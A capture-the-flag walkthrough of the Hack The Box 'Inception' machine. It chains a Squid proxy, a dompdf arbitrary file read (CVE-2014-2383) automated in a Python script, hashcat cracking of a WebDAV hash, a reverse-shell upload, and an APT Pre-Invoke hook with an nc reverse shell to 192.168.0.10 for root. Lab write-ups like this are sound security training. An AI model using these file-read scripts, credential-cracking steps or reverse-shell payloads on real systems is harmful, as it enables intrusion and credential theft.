Nmap
1
2
3
4
5
6
7
---------------------Starting Script Scan-----------------------
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Inception
3128/tcp open http-proxy Squid http proxy 3.5.12
|_http-server-header: squid/3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
Not much information on nmap. But good thing is that we have squid proxy on the box. So we can scan what ports are open on localhost(127.0.0.1).
Enumeration
Port 3128
Let;s configuration our proxychains with the given squid proxy port
1
2
3
4
5
6
7
8
9
10
11
root@kali:~/ctf/htb/Inception/10.129.1.104/nmap# cat /etc/proxychains.conf
# proxychains.conf VER 3.1
#
# HTTP, SOCKS4, SOCKS5 tunneling proxifier with DNS.
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
# socks4 127.0.0.1 9050
http 10.129.1.104 3128
Pull up a msfconsole and scan for specific ports on the machine
We have port 22,80 running on localhost interface.
Port 80
In the source code of the home page, we see a todo item
Let us see if dompdf directory exists ~
Good. we have dompdf, lets try to exploit it. Before proceeding further we need to find what version of dompdf is running
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Vulnerability title: Arbitrary file read in dompdf
CVE: CVE-2014-2383
Vendor: dompdf
Product: dompdf
Affected version: v0.6.0
Fixed version: v0.6.1 (partial fix)
Reported by: Alejo Murillo Moyas
Details:
An arbitrary file read vulnerability is present on dompdf.php file that
allows remote or local attackers to read local files using a special
crafted argument. This vulnerability requires the configuration flag
DOMPDF_ENABLE_PHP to be enabled (which is disabled by default).
Using PHP protocol and wrappers it is possible to bypass the dompdf's
"chroot" protection (DOMPDF_CHROOT) which prevents dompdf from accessing
system files or other files on the webserver. Please note that the flag
DOMPDF_ENABLE_REMOTE needs to be enabled.
Command line interface:
php dompdf.php
php://filter/read=convert.base64-encode/resource=<PATH_TO_THE_FILE>
Web interface:
http://example/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=<PATH_TO_THE_FILE>
So we have an LFI (Local File Inclusion). Let’s try to read some internal files.
We have some file downloaded when we requested the url, we got a pdf and when opened it has some base64 encoded text
Let’s automate the process with a simple python script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import os
import base64
URL = "http://10.129.1.104/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource="
COMMAND = "/etc/passwd"
while True:
try:
COMMAND = raw_input(">")
r = requests.get(URL + COMMAND)
for line in r.text.split():
if "[(" in line:
base64output = line.replace('(','').replace('[','').replace(')','').replace(']','')
output = base64.b64decode(base64output)
print(output)
except Exception as e:
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@kali:~/ctf/htb/Inception# python exp.py
>/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
cobb:x:1000:1000::/home/cobb:/bin/bash
>
We have a user for this machine let’s save it in our users.txt file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
root@kali:~/ctf/htb/Inception# python exp.py
>/etc/apache2.conf
>/etc/apache2.conf/sites-enables/000-default.conf
>/etc/apache2/sites-enables/000-default.conf
>etc/apache2/sites-enabled/000-default.conf
>/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.3 LTS"
>/etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
Alias /webdav_test_inception /var/www/html/webdav_test_inception
<Location /webdav_test_inception>
Options FollowSymLinks
DAV On
AuthType Basic
AuthName "webdav test credential"
AuthUserFile /var/www/html/webdav_test_inception/webdav.passwd
Require valid-user
</Location>
</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
>/var/www/html/webdav_test_inception/webdav.passwd
webdav_tester:$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0
We have a password with us now let’s try to crack it with hashcat. Before cracking let’s identify what type of hash is it.
Also we have a url to check : /webdav_test_inception/
1
2
3
4
5
6
7
root@kali:~/ctf/htb/Inception# hashcat --example-hashes | grep -B3 "apr1"
PASS: hashcat
MODE: 1600
TYPE: Apache $apr1$ MD5, md5apr1, MD5 (APR)
HASH: $apr1$62722340$zGjeAwVP2KwY6MtumUI1N/
root@kali:~/ctf/htb/Inception#
Hashcat mode 1600 apache password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
root@kali:~/ctf/htb/Inception# hashcat -m 1600 -a 0 hash.txt /opt/rockyou.txt
hashcat (v6.0.0) starting...
OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Xeon(R) CPU E5-2660 v4 @ 2.00GHz, 5852/5916 MB (2048 MB allocatable), 8MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Initializing backend runtime for device #1...
Host memory required for this attack: 66 MB
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => Dictionary cache hit:
* Filename..: /opt/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384
$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0:babygurl69
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Apache $apr1$ MD5, md5apr1, MD5 (APR)
Hash.Target......: $apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0
Time.Started.....: Mon Jul 12 07:53:43 2021 (1 sec)
Time.Estimated...: Mon Jul 12 07:53:44 2021 (0 secs)
Guess.Base.......: File (/opt/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 29536 H/s (7.81ms) @ Accel:256 Loops:125 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 22528/14344384 (0.16%)
Rejected.........: 0/22528 (0.00%)
Restore.Point....: 20480/14344384 (0.14%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:875-1000
Candidates.#1....: merlina -> travon
Started: Mon Jul 12 07:53:24 2021
Stopped: Mon Jul 12 07:53:46 2021
root@kali:~/ctf/htb/Inception#
Password : babygurl69
We have user and a password but there is no login page or ssh opened on public interface to try the combination. But we have a squid proxy open on machine. Let’s try a scan from proxy port.
Let’s connect through the cadaver webdav application and upload a reverse shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root@kali:~/ctf/htb/Inception# cadaver 10.129.1.104/webdav_test_inception/
Could not parse URL `10.129.1.104/webdav_test_inception/'
dav:10.129.1.104/webdav_test_inception/? ^CTerminated by signal 2.
root@kali:~/ctf/htb/Inception# cadaver http://10.129.1.104/webdav_test_inception/
Authentication required for webdav test credential on server `10.129.1.104':
Username: webdav_tester
Password:
dav:/webdav_test_inception/> dir
Unrecognised command. Type 'help' for a list of commands.
dav:/webdav_test_inception/> ls -rlt
Listing collection `/webdav_test_inception/-rlt/': failed:
404 Not Found
dav:/webdav_test_inception/> help
Available commands:
ls cd pwd put get mget mput
edit less mkcol cat delete rmcol copy
move lock unlock discover steal showlocks version
checkin checkout uncheckout history label propnames chexec
propget propdel propset search set open close
echo quit unset lcd lls lpwd logout
help describe about
Aliases: rm=delete, mkdir=mkcol, mv=move, cp=copy, more=less, quit=exit=bye
dav:/webdav_test_inception/> put rev.php
Uploading rev.php to `/webdav_test_inception/rev.php':
Progress: [=============================>] 100.0% of 31 bytes succeeded.
dav:/webdav_test_inception/>
We have a new password now. let’s try to login using proxychains.
We are in with cobb.
username: cobb password: VwPddNh7xMZyDQoByQL4
Looks like we are in a container.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@Inception:~# cat crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/5 * * * * root apt update 2>&1 >/var/log/apt/custom.log
30 23 * * * root apt upgrade -y 2>&1 >/dev/null
root@Inception:~#
We see there is a package update every five minutes.
1
2
root@Inception:~# cat 00PreIn
APT::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.10 4444 >/tmp/f"};
Rooted!!!